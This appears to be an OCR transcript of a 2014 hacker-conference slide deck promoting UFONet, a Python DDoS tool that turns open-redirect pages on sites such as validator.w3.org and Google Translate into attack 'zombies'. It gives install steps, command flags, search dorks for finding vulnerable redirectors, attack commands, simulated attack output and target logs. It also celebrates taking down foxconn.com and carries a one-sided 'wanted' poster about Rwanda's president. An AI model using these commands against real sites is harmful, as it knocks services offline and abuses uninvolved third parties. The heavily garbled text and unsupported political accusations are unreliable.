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WARNING !!1!]
Name: Coltan
Composition:

—Columbita; FeMn+Nb206 (niobium oxide)
—-Tantalita; FeMn+TaZ (tantalum oxide)

Relevance: Electrolyvtic Capacitor

Usage: Mobile Phones, computers, medical implants, weapons

Issue:

— Congo - 82% of world reserves (Great Lakes).
— Pick from uranium, thorium and radium (radioactivity).
— Consideration: non-renewable strategic energy resource.
— War: From 1998. Approx 5.7 million victims.
* RPA - Rwanda - West Countries.
* West forgives debt of Rwanda + credits: FMI and Central Bank.
— Price: 1TN = $ 400,000 | 18 months - 250.000M S
— Salary: Middle Congo - 8 €/m | Mining: 42 €/m
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WANTED

ID: Paul Kagame (23/10/1957)

Title: President of Rwanda

(GAVAH
— Founder RPA
— Head of Military Intelligence: ERN
— Training: Fort Leavenworth (USA)

Crimes:
— Order Murder: Juvenal Habyarimana (Rwanda)
— Order Murder: Cyprien Ntaryamira (Burundi)
— Conducting genocide since 1994

Procedure:

25/09/2003: Get diplomatic immunity

14/11/2003: Carla Del Ponte(SUI), ICHR's fiscal —-> destitute
21/01/2005: Stephen Rapp (USA), OBAMA's fiscal - takes office
06/02/2008: Process Open for crimes against humanity (pdf)
30/10/2014: In the wild



http://www.veritasrwandaforum.org/dosier/resol_auto_esp_06022008.pdf

Edition: GSICKMINDS - 2014

MISSION: - foxconn.com

RealNick: Hon Hai Precision Industry Co. (TAI)
Owner: Terry Guo aka Gou Tai-ming

Information:

Largest worldwide producer of electronics

Contracts:

*BlackBerry *iPad, *iPhone, *Kindle, *Playstationd
*Xbox One, *Wii U

Clients:
Acer Inc. (TATI) Microsoft (USA)
Amazon.com (USA) Motorola Mobility (USA)
Apple Inc. (USA) Nintendo (JPN)
BlackBerry Ltd. (CAN) Nokia (FIN)
Cisco (USsA) Sony (JPN)
Dell (USA) Toshiba (JPN)
Google (USA) Vizio (USA)

Hewlett—-Packard (USA)


http://www.foxconn.com/
http://www.usatoday.com/story/tech/2013/12/20/blackberry-earnings/4140253/
http://www.sfgate.com/cgi-bin/article.cgi?f=/g/a/2010/11/23/businessinsider-apple-adding-more-ipad-production-lines-to-meet-holiday-and-2011-demand-2010-11.DTL
http://online.wsj.com/public/article/SB118677584137994489.html?mod=blog
http://www.computerworld.com/s/article/9179759/Kindle_screen_maker_will_increase_capacity_to_meet_demand
http://www.ign.com/articles/2012/10/18/iphone-wii-u-manufacturer-admits-to-employing-children/
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STATUS::

It's not just you! http://www.foxconn.com looks down from here.

TANGO DOWN ! ;-)
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Current version (05/10/2014): v0.3.1b - Abduction

* What 1s UFONet?

* How 1t works?

* Installation

* Main features

* Examples of usage
* Attack simulation

* Next release

* How contribute?


http://sourceforge.net/projects/ufonet/files/latest/download?source=navbar

Top 10 Application Security Risks: OWASP 2013
/What 1is UFONet?/

+ Automatic tool to launch DDoS attacks

+ Written in python / GPL v3.0
+ First Release:

— Born as XSSer module (2009)
— Launched: v0.1b - 2013

+ Exploit Layer 7 (HTITP/Web Abuse)
“Open Redirect?” Vectors

OWASP: Top 10 2013-Al0-Unvalidated Redirects and Forwards

+ Objetive - Resource Depletion (DoS)



https://www.gnu.org/licenses/gpl-3.0.html
http://xsser.sourceforge.net/
http://sourceforge.net/projects/ufonet/files/ufonet-v0.1b.zip/download
https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards
https://www.owasp.org/index.php/Top_10_2013-Top_10

Video (v0.1b): UFONet PoC
/How 1t works?/

+ CWE—-601: URL Redirection to Untrusted Site

A web application accepts a user—-controlled input
that specifies a 1ink to an external site, and
uses that 1link in a Redirect.

+ OWASP: URL Redirector Abuse

Applications accept arbitrary user—-defined URLs

as input, which are then used as targets

for redirection. Users may be unwittingly rerouted
to a malicious site from a site they trust.

Ex: Phishing attacks



http://cwe.mitre.org/data/definitions/601.html
https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2
http://ufonet.sourceforge.net/ufonet/UFONet-v0.1b.ogv

Video (v0.3b/DE): DDoS-Angriff Gber Validatoren
/How 1t works?/

Open Redirect
(ex: Validators)

Proxy (ex: Tor)
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https://www.youtube.com/watch?v=kVCnJTO6AjA

Code: qit clone https://github.com/epsylon/ufonet
/Installation/

UFONet runs on many platforms.

— GNU/Linux / Win32 / 0OSX ..

It requires:
— Python (~2.7.x)

— python-pycurl - Python bindings to libcurl

On Debian—-based systems (ex: Ubuntu), run:

~S5 sudo apt—get install python-pycurl


https://www.python.org/download/releases/2.7/
http://pycurl.sourceforge.net/

View commands: $ ufonet -h / --help
/Main Features/

+ Modularity:
— Code from scratch (Clean)
+ Proxy: (ex: Tor)
— Master - Proxy - Proxy (Zombie) - Target
+ Spoofing: (HTTP Headers)
— User—-Agent/Referer/Host/X-Forwarded-For/. ..
+ Manage Botnet:

— Search 'zombies' on Internet
— Test vulnerabilities (Open Redirect)

+ Impact: Request (s) / Evade cache on target/...



https://www.torproject.org/

First release: 18.06.2013
/Main Features/

——version show program's version number and exit
-v, ——-verbose active verbose on requests

——check-tor check to see 1f Tor 1is used properly
——update check for latest stable version

*Configure Request (s) *:
——proxy=PROXY Use proxy server (tor: http://localhost:8118)
——user—-agent=AGENT Use another HTTP User—-Agent header (default SPOOFED)
——referer=REFERER Use another HTTP Referer header (default SPOOFED)

——host=HOST Use another HTTP Host header (default NONE)

——xforw Set your HTTP X-Forwarded-For with random IP values

——xclient Set your HTTP X-Client-IP with random IP wvalues

——timeout=TIMEOUT Select your timeout (default 30)

——retries=RETRIES Retries when the connection timeouts (default 1)

——delay=DELAY Delay 1n seconds between each HTTP request (default 0)
*Manage Botnet*:

—s SEARCH Search 'zombies' on google (ex: —-s 'proxy.php?url=")

——sn=NUM_RESULTS Set max number of result to search (default 10)

-t TEST Test list of web 'zombie' servers (ex: -t zombies.txt)

*Configure Attack(s) *:
—r ROUNDS Set number of 'rounds' for the attack (default: 1)
-b PLACE Set a place to 'bit' on target (ex: -b /path/big.jpg)
—-a TARGET Start a Web DDoS attack (ex: —a http(s)://target.com)



Zombie's gift: pastebin
/Examples of usage/

+ Searching for 'zombies'

UFONet will search on google results
1- Search for results:
Ex: ./ufonet -s 'proxy.php?url=' --sn '100'

"checklink?uri="
'validator?uri="

2— Test 1f they are wvalid:

Wanna check if they are valid zombies? (Y/n)
3— Update your list:

Wanna update your 1ist (Y/n)


http://pastebin.com/TEUMCZjL

Documentation: README
/Examples of usage/

+ Testing botnet

UFONet will test 'Open Redirect' vulnerability
http://target.com/check?uri=<PAYLOAD>
Ex: ./ufonet -t zombies.txt
1- Are they alive?:
HTTP HEAD Check:

— From master: REMEMBER-> PROXY!!!
— From external: downforeveryoneorjustme

2— Update your list:

Wanna update your 1ist (Y/n)


http://www.downforeveryoneorjustme.com/

Biggest attack tested: 3439 zombies
/Examples of usage/

+ Attacking a target

UFONet will conduct zombies to your target
+ Number of rounds per zombie
Ex: -r 10 / —-r 10000
+ Place to “bit” (Ex: Flash movie, Big file, ...)
Ex: —-b "/images/big_size image. jpg"
./ufonet -a http://target.com
* Round: Is target up?

Your target looks ONLINE!. Wanna start a DDoS attack? (y/N)



All my zombies are belong to you ;-)

/JAttack Simulation/

+ From Master:

./ufonet ——-check-tor

Sending request to: https://check.torproject.org

Congratulations!. Tor is properly being used

. appears to be: (. 103.48

-_"I
- i

Your IFP addres:



All my zombies are belong to you ;-)
/JAttack Simulation/

./ufonet -t zombies.txt

Zomble: anonymouse.ord
Status: Ok [Z200]

Zombie: www.google.com
Status: Ok [Z00]

Zombie: translate.google.com
Status: Ok [Z200]

Zombie: validator.w3.org
Status: Ok [Z00]



All my zombies are belong to you ;-)
/JAttack Simulation/

Round: 'Is target up?'

From exterior: YES

Name: anonymouse.org
http://anonymouse. org/cgl-bin/anon-www.cgi/http://myecoin.net
Status: Hit!

Zombie: 2 | Round: 1 | Total Rounds: 18080

Mame: www.google.com
http://www.google.com/translate?u=http://myecoin.net
Status: Hit!


http://myecoin.net/

It's not just you! http://nsa.gov looks down from here
/JAttack Simulation/

+ From Target

a -

55.97.161.249 - -
163,206,158 .82 -
128.38.52.88 -
128.36.52.88 -

[06/0ct/2014:22:2]1:28 +0200] "HEAD /7 HTTR/1.1° 200 285 "-°
[B6/0ct 2014:22:21:3]1 +0208) "GET / HTTR/1.1" 268 4334 "-~
[@6/0ct/2014:22:21:38 +0208] "GET / HITR/1.8° 208 166847 - “"hittp:/SAncrmmouse.org/ {Unix)"®
- [BES0ct/2014:22:21:53 +0200]) "GET 7 HTTP/AL.1" 200 4334 "+" "FeedValidator/1.3"
[B6/0ct /2014 :22:2]1:53 +0208) "GET /?feed=rss2 HTTP/1.1" 200 1982-"-" “FeedVallidator/1.3"
128.38.52.713 - |BL/OCT /2014 22: 22002 +0200] "GET J -HITP/L«1" L0 4334 /"7 a3l Valldator/1l.3 hyp://valldator. w3, . org/services”
128.30.52.1863 - [06/0ct/2014:22:22:87 «0200) "GET / HLJF/1.1% 208 16673 °-" "digsaws2.3.0 W3C_C55_Validator_JFouffa/2.0 (See <
alidator.wd.org/services»)"
128.36.52.103 [BE/0ct /2014:22:22:08 +0208] "GET fwp-content tHEEESfexpressions/style.csstvers=3.9.2 HITP/1.1" 260 51940 "http
in.met™ "Jigsaw/2.3.0 WAC_C55 Validator JFouffasZ. @l Beaf=htip://valldator wW3.org/sefvices=)"
128.38.52.183 - [O6/0ct/2814:22:22:08 +0200] "GEY fwp-content /themas/expresslonsg/ |sinivo-slider/nivo-slider . cesfvar=3.9.2 HTTP
B 2567 "hittp://myecoin.net™ “Jigsaw/Z.3.0 W3l _C55 Nalldator JrFouffass.0 (See <hLtp:/s/valldator.w3.orgiservicess)™
128.30.52.183 - [66/0ct/2014:22:22:08 +0200] "GET /wp-content/themes/expressions/is/nivo-slider/thenes/default /default .csstver

"Burobot /1.0 (http://wew. ayell.eu)”
*SlteCheck - http://downforeveryonsorjustme.com”

TTEA1.1° 208 5388 “http://myecoin.

128.38.52.183 -

128.38.52.183 -
yecoin.net® “"Jigsaw/2.3.0 W3L C55
128.30.52.103 -
alidator.w3. org/servicess)”
128.30.52.103 -

in.net™ "Jigsas/Z2. 3.0 WIC_C55_Vallidator
128.38.52.103 - [OB/0Cct/2014:22:
8 25367 “htip: /S myecoin . net”

128.38.52.183 -
TTRS1,1° 200 5388 “http: /S /myecoin
128.30.52.183 - [B6/0ct/2014:22
35 "http://myecoin.net” "Jigsaw/2
128.38.52.183 - [Bo/0ct /2014 :22
yecoin.net® "Jigsaw/2.3.0 W3C C55

128.30.52.90 - - [06/0ct/2014:22:22:27 +0200] "GET /robots.txt HTTP/1.1" 404 525 ".*

[B6/0ct/2014:22;
35 "hitp://myecoin.nat” "Jigsaw/2.
[Ge/0ct /201422

[O6/0ct/2014:22:

[O6/0ct/2014:22:

net” "Jigsaw/2.3.0 W3CICS5S Nalidator_JFouffas/2.0 [See <htip://validator.w3.org/services>)”
22:08 -0200) "GET /wp-content/themes/expresslons/js/superfish/superfish.css?ver=3,9.2 HTTP/1.1
3.0 WaC_CS5 Valldatpr JFouffa/2.9 (See <htip;{/validator.w3.org/servicess)”

22:08 +0200] "GET fwp.content/themes/expresslons/css/aobile.ces?ver=3.9.2 HTTP/1.1" 200 5455 °

_C55_Valicator_JFouffas2.@ (See <http://validatoriw3.org/servicess)”
[@6/0ct/2014:22:

22:18 +0200) "GET / HTTR/L, 1" 200 16673 .V "Digsaw/2.3.10 W3C_C55 Validator_JFouffa/2.0 [See =<
22:18 «0208] YGET /wp-confent /Themes/expresgions/style.LssTver=3.9.2 HTTFS1.1" 200 51948 "hitip
_JFouffa/2.0 (See <http://validator.wW2 orgiservicess>)"”

22:19 +0208] "GET . /wp-Cantent/themesrexpresslans/ js/nivo-slider/nivo-slider.css?ver=3.9.2 HTTP

"Jigsaw/£. 3.8 WIC_CS5_Valldator_dEQuf fasd.0 (Ssesahtip:/s/valldator w3.org/servicess>)”

£2:19 «0F08) "GET fwp-content/themesraxpresslons/ js/nivo-slider/thenss/daefault /default .cssfver
net"” "Jigsaw/2.3.0 W2C_CE35 Validator_ JFouffars2.0 (See <htip://validator.w3.org/services=)”
22:19 «+0208] "GET /wp-content/theses/expresslions/js/superfish/superfish.css?ver=3.9.2 HTTF/1.1
3.0 WaC_C55 Valldator JFouffa/2.0 (See <hitp://valldator.w3.org/services=)"

22:19 +0208) "GET fwp-content/themes/exprésslons/ces/mobile. ces?ver=3.9.2 HTTP/1.1" 200 5455 °
Validator JFouffa/2.80 (See <http://validator.w3.org/services=)"

“W3C-checklink/4.8]1 libwww-perl/5. 836"



Irc.freenode.net / #ufonet
/Next Release/

+ Name: UFONEt v0.4b: Infection!

* Tdeas:

— POST

— XML

- Anti-IDS/NIDS

— XSS/CSRF

— Multithreading

— HTTP Headers (rfcd229)
- GUI/GTK+

— Geomapping

— Visual impact

— Statistics/Reports



Author: epsylon@riseup.net
/How Contribute?/

+ Development:

— Testing

— Documentation

- Bug Fixing / Hacking ;-)

— Suggestions/Ideas/New features

+ Support:
— Donations

BTC: 1Q63Kti1LGzX1YASXKWEFPNWo /nKPWFr3nrc
ECO: 6enjPY/PzVg9gwXeVCxgdB8frsf4YFNzVp

— Promotions / Events / Jobs

i A A 4


https://bitcoin.org/
http://myecoin.net/

This tool is NOT for educational purposes :-)
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